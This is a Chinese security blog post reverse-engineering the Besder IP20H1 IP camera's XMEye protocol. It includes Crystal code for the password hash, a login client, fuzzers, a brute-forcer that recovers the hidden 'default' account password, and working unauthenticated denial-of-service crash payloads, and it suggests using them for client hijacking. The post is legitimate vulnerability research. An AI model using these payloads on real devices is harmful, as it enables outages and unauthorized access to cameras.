针对Besder网络摄像头的逆向分析和漏洞挖掘 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

针对Besder网络摄像头的逆向分析和漏洞挖掘

xiaohui web安全 2019-11-26 11:20:00
930534
收藏

导语:这篇文章,我会对Besder IP20H1网络摄像头进行逆向分析和漏洞挖掘。

这篇文章,我会对Besder IP20H1网络摄像头进行逆向分析和漏洞挖掘。 

硬件方面,IP20H1有4个电线连接器,处理器仍然是一个HI3516,一种常见的IP摄像头SoC。

前期,我要做的就是捕获数据包,读取它们,之后再开始编写自己的客户端!但在此之前,我必须要做以下3件事:

1.获取所有端口号,源和目的地以及使用它们进行通信的人员的列表;

2.研究数据包的基本结构并弄清楚基本的格式;

3.查看客户端软件,以了解内部工作的线索。

逆向分

逆向分析使用的应用程序是XMEye应用程序,XMEye是一款监控软件,配套ipc、Dvr等前端监控设备,通过设备的序列号以云方式登录,将实时的监控画面显示的Android移动设备上并对设备进行预览操作,这意味着摄像头内置了DDNS连接。我为在网络中编写规则以防止摄像头访问互联网感到非常高兴。

在获取的第一个数据包中,我发现了一个20字节的序列,由1个单字节0xFF,13个0x00、0xFA05和最后4个0x00组成。我将其称为发现广播数据包(Discovery Broadcast Packet ,DBP)。

另外,还有一个类似于0xFA05的标记,即0xFB05,可能是客户端,而0xFB05是摄像头。从该数据包中,我可以看到选择的格式是JSON。使用自定义协议将更加容易,因为它的反序列化工作很简单。

查看标头,我可以看到数据包含一个0x3E,它恰好是数据的确切大小,不含20字节的标头。无论是在GitHub上,还是在其他任何搜索引擎上,在搜索名称“ GetSafetyAbility”时,找不到任何东西。另外,该协议还从UDP切换为了TCP。

遍历其余数据包,可以看到TCP数据流部分,因此我设置了一个简单的Wireshark过滤器,将结果过滤得更有条理。我只需要TCP PSH数据包即可:

tcp.flags.push == 1

当我用谷歌来检索这个包中的一些字符串时,发现了一些有趣的信息。

PasteBin

Gist

Github

在PasteBin中,有一些日志,查看其中的一些字符串可以获取一些有用的信息。首先,这是某种Android客户端,甚至可能是我已经安装的客户端,列出了它发送的JSON消息和一堆参数。

Gist尽管只是发送/接收数据包,没有什么太有趣的,但是文件中却包含着哈希密码。

Github里有最有趣的信息,它准确地描述了标头的制作方式。我关心的重要函数就是从sendSocketData开始的,它包含我真正关心的getSendDataInBinary函数调用。这将获取标头数据,并将其放入20字节缓冲区中,查看函数本身可以解释所有问题。

查看代码中用法的一个示例,可以看到所有字节实际上都是在Little Endian中排序的。

现在我知道secondInt实际上是SessionID!但是,通过查看fourthInt,我仍然不知道它是什么,但是它的值被硬编码到每个单独的命令中,所以我可以猜测,不管它是什么,它都与命令名或其他内容相关。然后,摄像头向客户端发送之前的命令的响应。

此时,客户端尝试登录设备,但是我已将默认密码更改为“password”,无论该密码是什么,它很可能是空白密码。之后的响应应该是“失败”,我可以看到下次登录尝试使用了不同的密码,并且实际上成功了。

我注意到,有趣的是,当身份验证失败时,报告说它是一个DVR,而在成功时则报告为IPC。但是到目前为止,关于是什么控制了SessionID字段的信息还很少。我可能需要解决这个问题。

获取哈希值

我最终也得到了一些密码,但是密码是经过哈希处理的,因此我需要找出制造商的方法。首先要注意的是,在其他捕获中,“密码”字段始终是相同的,这意味着可能我并非每次都在处理随机盐值。如果他们确实使用盐值,则必须将其硬编码到摄像头本身中,但这不太可能。这个哈希值真正奇怪的地方是,它是“MD5”,但哈希本身只有8个字节,而MD5有16个字节。这意味着存在某种哈希协议,但它是自定义的,并基于MD5构建。

进行了一番搜索后,我还是找不到关于此哈希格式的任何信息。在尝试过CyberChef和hash calculator等工具后,都没有成功。最后,还是在别人的帮助下找到了相关的信息。

最后,我使用了一些哈希系统的源代码来编写自己的Crystal哈希。

# Code translated from https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py


require "digest/md5"




module Dahua


  def self.compress(bytes : Slice(UInt8)) : Bytes


    i = 0


    j = 0


    output = Bytes.new(8, 0)




    while i < bytes.size


      output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8


      if output[j] < 10


        output[j] += 48


      elsif output[j] < 36


        output[j] += 55




      else


        output[j] += 61


      end




      i = i+2


      j = j+1


    end


    output


  end




  def self.digest(password)


    md5_bytes = Digest::MD5.digest(password.encode("ascii"))


    compressed = compress(md5_bytes.to_slice)




    String.new(compressed)


  end

再根据我的一套方法,确定密码哈希。

"" = tlJwpbo6
"password" = mF95aD4o
"abcdef" = vfMMASaj
"123456" = nTBCS19C
"asdfghjkl" = MajKjGGZ
"000000000000000000000000" = lJ84MHiF

现在来做一些测试,看看是否可以跳过协议的某些部分!例如,开始的UDP跳可能是可跳过的,可以编写一个简单的程序尝试直接进入TCP端口34567。

require "./dahua_hash"
require "json"
require "socket"

def make_login_header(json)
"\xff\x01\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\xe8\x03#{String.new(Bytes[json.size])}\x00\x00\x00"
end

json_login = JSON.build do |json|
json.object do
json.field "EncryptType", "MD5"
json.field "LoginType", "DVRIP-Xm030"
json.field "UserName", "admin"
json.field "PassWord", Dahua.digest("password")
end
end

socket = TCPSocket.new("192.168.11.109", 34567)
socket << (make_login_header(json_login) + json_login)
reply = socket.gets
socket.close
if reply
reply_parsed = JSON.parse reply[20...reply.size]
if reply_parsed["Ret"] == 100
puts "SUCCESS!"
exit    
end
end
puts "FAILURE!"

工作过程如下:

SUCCESS!

[Done] exited with code=0 in 0.831 seconds

模糊测

在处理源代码时,我需要进行某些类型的测试,以确定如何正确格式化数据。在此示例中,我可以登录到摄像头,然后发送命令,然后获得SessionID。

0 = 0x00000001
1 = 0x00000002
2 = 0x00000003
3 = 0x00000004
4 = 0x00000005
5 = 0x00000006
6 = 0x00000007
7 = 0x00000008
8 = 0x00000009
[Done] exited with code=0 in 1.025 seconds

由于SessionID就像一个简单的增量器,因此我可以轻松地编写自己的值。了解摄像头如何产生其SessionID字段。

让我尝试登录后发送另一个命令,我首先将尝试重播命令SessionID,然后尝试使用随机的SessionID重播命令。这将使我对有效的方法和无效的方法有更深入的了解。

对于此命令,我将使用SystemInfo,客户端使用它来获得一些设置和版本号的列表。但SessionID字段中的播放显示摄像头并不使用它。我尝试了0x00000007、0x11111117和其他几个随机数,它们似乎都可以工作!

Success!
{
"Name" : "SystemInfo",
"Ret" : 100,
"SessionID" : "0x11111117",
"SystemInfo" : {
"AlarmInChannel" : 1,
"AlarmOutChannel" : 1,
"AudioInChannel" : 1,
"BuildTime" : "2018-08-29 09:00:36",
"CombineSwitch" : 0,
"DeviceModel" : "",
"DeviceRunTime" : "0x00000FFA",
"DeviceType" : 0,
"DigChannel" : 0,
"EncryptVersion" : "Unknown",
"ExtraChannel" : 0,
"HardWare" : "HI3516EV100_50H20L_S38",
"HardWareVersion" : "Unknown",
"SerialNo" : "41e6853ada5e9323",
"SoftWareVersion" : "V4.02.R12.00035520.12012.047500.00200",
"TalkInChannel" : 1,
"TalkOutChannel" : 1,
"UpdataTime" : "",
"UpdataType" : "0x00000000",
"VideoInChannel" : 1,
"VideoOutChannel" : 1
}
}

[Done] exited with code=0 in 0.86 seconds

在20个字节的标头中还有几个我无法解读的值,所以我写了一个模糊器,看它们到底是什么。

 Class that contains the basic process for making a message to/from the camera
class XMMessage
property type : UInt32
property session_id : UInt32
property unknown1 : UInt32
property unknown2 : UInt16
property magic : UInt16
property size : UInt32
property message : String

  #TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something
def self.from_s(string)
io = IO::Memory.new string
m = XMMessage.new
m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.message = string[20..string.size]
m
end

def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = "")
end

def magic1 : UInt8
(magic & 0xFF).to_u8
end

def magic2 : UInt8
(magic >> 8).to_u8
end

def make_header
header_io = IO::Memory.new
header_io.write_bytes(type, IO::ByteFormat::LittleEndian)
header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian)
header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian)
header_io.write_bytes(unknown2, IO::ByteFormat::LittleEndian)
header_io.write_bytes(magic, IO::ByteFormat::LittleEndian)
header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian)

header_io.to_s
end

def make : String
(make_header + self.message)
end
end

接下来,我制作了模糊器的主要部分,它将填充每个可能的字节值,等待响应,然后断开连接并循环。

关于这个工作的一些注意事项:

1.我要定位两个字节,第一个是magic1,然后是magic2。

2.模糊器本身必须具有极高的容错能力,因为使用它时会发生很多错误。

当我想运行它时,理想的结果如下:

class Command::SystemInfo < Command
def initialize(@session_id = 0)
super(magic1: 0xfc_u8, magic2: 0x03_u8, json: JSON.build do |json|
json.object do
json.field "Name", "SystemInfo"
json.field "SessionID", "0x#{@session_id.to_s(16).rjust(8, '0')}"
end
end)
end
end
File.open("logs/system_info.log", "w") do |file|
Fuzzer.run(
Command::SystemInfo.new(session_id: 0x11111117),
magic2: (0x3..0x6),
password: "password",
output: file
)
end

这将运行一段时间,最终产生结果,尽管结果准确,但速度太慢了!从0x3到0x8的单次扫描可能需要24小时。

幸运的是,我有一些想法可以使其更快。

在测试过程中,我注意到该协议的一个有趣之处,服务器(摄像头)允许对同一个IP地址开放任意数量的连接,只要它们都位于不同的端口上即可。这意味着如果我可以创建一个套接字组,就可以使用它们一次审核多个magic字段,每个magic字段都等待自己的响应,

你可以在GitHub上查看相关代码。

Fuzzing Command::SystemInfo
Time: 00:29:14.794430000
Current: 4096/4097 : 1000
Total Completion: 99.976%
Waiting for magics:
0x0ffc :  unused : 15642636659266745398 :   00:00:00.394592000
0x0ffd :  unused :  3995498554981886474 :   00:00:00.394431000
0x0ff1 :  unused : 16849123052220723596 :   00:00:00.424488000
0x0ffe :  unused : 15843022912141103538 :   00:00:00.385055000
0x0ff2 :  unused :   666834066939202384 :   00:00:00.424001000
0x0ff3 :  unused : 11959220922209025486 :   00:00:00.423846000
0x0ff4 :  unused :  9858625403406765244 :   00:00:00.423865000
0x0ff5 :  unused :    20212055150009910 :   00:00:00.423179000
0x0fff :  unused : 15147142017989187717 :   00:00:00.384266000
0x0ff6 :  unused : 16036212785124225768 :   00:00:00.423033000
0x0ff7 :  unused :  3934626923425214118 :   00:00:00.423048000
0x0fef :  unused :   784495433133620875 :   00:00:00.465630000
0x0ff0 :  unused :  8924739629740135316 :   00:00:00.465648000
0x0ff8 :  unused : 17166435733447359522 :   00:00:00.422446000
0x0ff9 :  unused : 11108002682450497409 :   00:00:00.422467000
0x0ffa :  unused : 11116907754345188397 :   00:00:00.421792000
0x0ffb :  unused :  8156710575546691230 :   00:00:00.421819000
0x1000 :  unused :  6252091348165092127 :   00:00:00.384556000
0x0fe9 :  unused :  5183855669207984885 :   00:00:00.751042000
0x0fea :  unused :   829040888724800310 :   00:00:00.750799000

Status
Factory: done
Last Check In: 2019-04-17 10:59:17 -07:00
Total Successes: 3983
Total Unique Replies: 49
Total Bad Results: 114
Error:
Errors: {}

使用此方法,我们可以在30分钟内将0x0的空间模糊化为0x1000 !每个光纤都将使用其自己的套接字,发送消息,然后等待接收。如果超时,它将丢弃该消息并移至下一条消息。

如果摄像头由于某种原因而关闭,则对超时设置2分钟的宽限期,以等待摄像头尝试响应。这样可以确保所有设备被覆盖。因为如果确实出现故障,则必须有人重新启动摄像头。

最常见的响应是

"{ \"Name\" : \"SystemInfo\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"

大约有4000种魔法字段,不过这是一个登录失败数据包。有趣的是,如果未获得密码或用户名205,它将响应一个不同的错误代码。

"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10744252, \"Ret\" : 205, \"SessionID\" : \"0x0000000B\" }\n"
Bytes: ["0x03e8"]

不管做什么,都会返回响应成功的消息,所以有必要找出其中的原因:

"{ \"Name\" : \"\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03ea", "0x0410", "0x0416", "0x041a", "0x0578", "0x05e0", "0x05dc", "0x05de", "0x0670", "0x06ea", "0x0684", "0x0676", "0x07d2"]

这就是“保持活动状态”,只要它收到一个保持活动状态的数据包,就可以保持与摄像头的连接。

"{ \"Name\" : \"KeepAlive\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03ee"]

经过一些非常标准的结果以及对SystemInfo的实际响应,我最终进入了一个有趣的领域,即对该协议进行深入分析。

"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0582", "0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x058c", "0x0591"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 504, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0596"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x059a", "0x059b"]
"{ \"Name\" : \"\", \"Ret\" : 119, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05a0"]
"{ \"Name\" : \"OPLogQuery\", \"OPLogQuery\" : null, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05a2"]
"{ \"Name\" : \"OPSCalendar\", \"OPSCalendar\" : { \"Mask\" : 0 }, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05a6"]
"{ \"Name\" : \"\", \"Ret\" : 109, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05a8"]
"{ \"Name\" : \"OPTimeQuery\", \"OPTimeQuery\" : \"2000-12-07 02:55:43\", \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05ac"]
"{ \"Name\" : \"\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05b4", "0x0828"]

我们最初模糊的命令是“SystemInfo”,为什么返回的名称不同,比如OPSCalendar?这很有趣,这意味着不仅是magic field控制命令类型,这些命令中的一些并没有进行太多的错误检查,所以它们可以在以正确的方式运行时产生一些奇怪的结果。现在,我也有了新的命令名称来进行模糊处理。

"{ \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05be"]
"{ \"Ret\" : 100, \"SessionID\" : \"0x00000000\", \"Users\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Group\" : \"admin\", \"Memo\" : \"admin 's account\", \"Name\" : \"admin\", \"NoMD5\" : null, \"Password\" : \"mF95aD4o\", \"Reserved\" : true, \"Sharable\" : true }, { \"AuthorityList\" : [ \"Monitor_01\" ], \"Group\" : \"user\", \"Memo\" : \"default account\", \"Name\" : \"default\", \"NoMD5\" : null, \"Password\" : \"OxhlwSG8\", \"Reserved\" : false, \"Sharable\" : false } ] }\n"
Bytes: ["0x05c0"]
"{ \"Groups\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"administrator group\", \"Name\" : \"admin\" }, { \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05c2"]

现在开始进行最核心的逆向分析了!

{ \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"

我找到一个隐藏的用户帐户——“admin”帐户,仅具有一般权限。这个发现很重要!这是一个逆向分析的新办法。可能没有正确设置“权限列表”,这可能使我无需登录即可访问摄像头的功能。我还可以看到“admin”的完整权限列表,其中包括关机和升级权限。

BINARY FILE "{ \"command\" : \"sync\","
Bytes: ["0x0666"]

这个特别有趣,我的模糊器将其标记为“二进制文件”,因为它无法将其解析为JSON。似乎命令在发送过程中被切断了,也可能发生了一些有趣的事情(例如崩溃)。

BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000"
Bytes: ["0x0606"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004"
Bytes: ["0x0608"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\"\u0018\u0000\u0000"
Bytes: ["0x066c"]

我还获得了一些包含设置转储的zip文件,而有趣的是其中不包含我对摄像头尚不了解的任何内容。

BINARY FILE "\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF"
Bytes: ["0x0618"]

0x0618为我提供了来自摄像头的图像,对后来的分析很有用。

总的来说,现在我已经对设备有了一些有趣的见解,及时我还没有模糊所有命令以及未经身份验证的用户帐户!

用户帐户“默认”最终会让我清楚地了解到发生了什么,由于它只有一般权限,所以它的大多数响应都没有多大意义。

Command results: Started at 2019-04-18 20:07:00 -07:00
Total time: 00:51:34.994305000
"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10976316, \"Ret\" : 205, \"SessionID\" : \"0x000042C9\" }\n"
Bytes: ["0x03e8"]
"{ \"Name\" : \"\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03f2", "0x080e"]
"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x059a"]
"{ \"Name\" : \"GetSafetyAbility\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\", \"authorizeStat\" : null }\n"
Bytes: ["0x0672"]
"{ \"Name\" : \"OPRecordSnap\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x07fc"]
"{ \"Name\" : \"\", \"Ret\" : 105, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0852"]
"{ \"Name\" : \"\", \"Ret\" : 106, \"SessionID\" : \"0x000066E9\" }\n"
Bytes: ["0x02ee", "0x0192", "0x00a7", "0x0e27", "0x0041", "0x01c1", "0x0032", "0x0fa6", "0x03f7", "0x0740", "0x0d85", "0x0c3e", "0x095d", "0x06ee", "0x02b7", "0x08ac", "0x0db9", "0x08d6", "0x00bb", "0x0b37", "0x0606", "0x0996", "0x0cfb", "0x0afa", "0x00ba", "0x0974", "0x0d51", "0x0906", "0x0f42", "0x05e2"]

用Radamsa进行模糊测试

Radamsa是一种基于fuzzer的通用变异形式。这款fuzzer适用于无经验的测试人员,因为它易于安装和使用,它可尝试根据输入结构的不同变化的引擎随机识别数据结构和变异。从我之前进行的行为模糊测试中,我知道默认情况下可以使用哪些命令,因此我应该对那些特定项目进行模糊测试,以查看是否会使它们行为异常。

File.open("./rsrc/op_monitor.txt", "w+") do |file|
file.print Command::OPMonitor.new(session_id: 0xabcdef00_u32).to_s
end

File.open("./logs/radamsa/op_monitor.log", "w+") do |file|
puts "Testing connection"
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
xmm = Command::OPMonitor.new
socket.send_message xmm
puts "SENT: #{xmm.message}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

1000.times do |x|
begin
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
message = `radamsa ./rsrc/op_monitor.txt`
file.puts "SENT: #{message.inspect}"
socket.send message
reply = socket.receive_message
file.puts "GOT: #{reply.message.inspect}"
rescue e : MagicError::SocketException
puts "SOCKET DOWN! #{e.inspect}"
raise e
rescue e : MagicError::Exception
file.puts "ERROR: #{e.inspect}"
puts "ERROR: #{e.inspect}"
rescue e
file.puts "BAD ERROR: #{e.inspect}"
puts "BAD ERROR: #{e.inspect}"
end
end
end

我先向OPMonitor发出一条消息,然后将其输出到文件中,然后通过Radamsa发送该文件,然后将其模糊数据发送到摄像头。在大约100次左右的尝试后,最终找到了一种方法,可以在重新启动摄像头时中断客户端和摄像头服务器约120秒。此字符串通过ping,连接等方式关闭了摄像头,这意味着摄像头本身实际上已重新启动。

crash_string = "\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\"Name\":\"OPMonitor\",\"OPMonitor\",\"OPMonitor\":{\"Action\":\"Claim\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N󠁢ONE\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N󠁢ONE\",\"Stre amT\u000E\xFE\xFFype\":\"Main\",\"TransMode\":\"TCP\"}},\"Sess󠁎ionID\":\"4294967296xAbcdef256\"}"
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

此时,Radamsa已经帮助我找到了一个漏洞!

关于模糊测试的说明

我可以肯定地说,该协议的工作方式存在一些奇怪之处和矛盾之处,这对渗透测试来说往往是有益的。协议越陌生,就越有可能犯错误。

暴力破解密码

要找出纯文本密码,我必须进行暴力破解上述的哈希值。

require "./dahua_hash"

module Brute
def self.run(hash : String, start = "a") : String
current = start

counter = 0
success = false

start_time = Time.now
until success
if Dahua.digest(current) == hash
puts "SUCCESS!!!"
success = true
break
end

counter += 1
current = current.succ

if counter % 1_000_000 == 0
puts " @ #{current} : #{Time.now - start_time}"
elsif counter % 10_000 == 0
print '.'
end
end
end_time = Time.now

puts "Time: #{end_time - start_time}"
puts "Result: #{current} : #{Dahua.digest(current)}"
current
end
end

由于我知道“用户”帐户的详细信息,因此我要做的就是将其插入BAM!

Brute.run("OxhlwSG8")

大约16个小时后,我将得到字符串“tluafed”或“default”。

发现的拒绝服务攻击漏洞

在使用Radamsa的过程中,我发现了一个DoS,该DoS将通过无特权的用户帐户关闭我的摄像头。让我找出导致崩溃的确切原因!我会备份字符串,然后把它们拆分,直到运行崩溃。

我做的第一件事是删除数据包的“消息”部分,DoS仍然有效。之后,我开始删除标头的位,这也是错误的大小。我还更改了其中的值,以查看导致崩溃的原因和未导致崩溃的原因。我发现大小字段超过0x80000000会导致崩溃。

crash_string = "\xFF" + ("\x00"*13) + "\x85\x05" + "\x00\x00\x00\x80"

这表示很可能有人将带符号变量用于无符号整数,因为大小永远不能小于0,这可能会导致某种整数溢出漏洞,可能是因为程序正在尝试读入消息大小,它远远超出了预期,或者为负值,从而导致崩溃。

当前,该漏洞利用OPMonitor的魔法字段,但是这个漏洞应该会影响我们可以访问的任何命令,因为“login”命令是最不受保护的,它应该是下一个目标。

crash_string = "\xFF" + ("\x00"*13) + "\xe8\x03" + "\x00\x00\x00\x80"
socket = MagicSocket.new("192.168.11.109", 34567)
#socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

这将产生以下结果:

SENT: "\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80"
Unhandled exception:  (MagicError::ReceiveEOF)
from src/magic_fuzzer/magic_socket.cr:0:7 in 'receive_message'
from src/sandbox.cr:69:1 in '__crystal_main'
from /usr/share/crystal/src/crystal/main.cr:97:5 in 'main_user_code'
from /usr/share/crystal/src/crystal/main.cr:86:7 in 'main'
from /usr/share/crystal/src/crystal/main.cr:106:3 in 'main'
from __libc_start_main
from _start
from ???

ReceiveEOF证明套接字已关闭并且服务器已关闭。

摄像头将关闭约2分钟,同时在重新启动时仍会在短时间内响应ping。客户端在此重新引导期间无法连接,详细视频请点此

通过进一步努力,在Radamsa的帮助下,我找到了两个新的漏洞,“消息引用”和“选项错误类型”漏洞。

消息引用DoS

这利用了JSON处理中的一些漏洞,当给定一条完全由两个引号组成的消息时,摄像头崩溃。

选项错误类型DoS

这利用了摄像头服务器处理JSON的另一个漏洞。该漏洞仅适用于特定的命令,OPTalk,OPMonitor和OPRecordSnap。发送这些命令时,可以选择在根目录下包含与选项相同名称的选项哈希。

{
  "Name": "OPMonitor",
  "OPMonitor":  {
    "Action": "Claim",
    "Action1":  "Start",
    "Parameter":  {
      "Channel":  0,
      "CombinMode": "NONE",
      "StreamType": "Main",
      "TransMode":  "TCP"
    }
  },
  "SessionID":  "0x0000000007"
}

在“ OPMonitor”项下,有一个哈希选项。服务器始终希望“ OPMonitor”项下的该选项始终是哈希选项。但是,我可以通过将哈希替换为非嵌套类型(例如字符串或数字)来使摄像头崩溃。例如,以下字符串就会使摄像头崩溃。

{
  "Name": "OPMonitor",
  "OPMonitor": 0,
  "SessionID":  "0x0000000007"
}

客户端劫持

既然我在设备上有了攻击点,那就可以在对客户端进行攻击时使用这些DoS命令关闭摄像头,进行客户端劫持。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务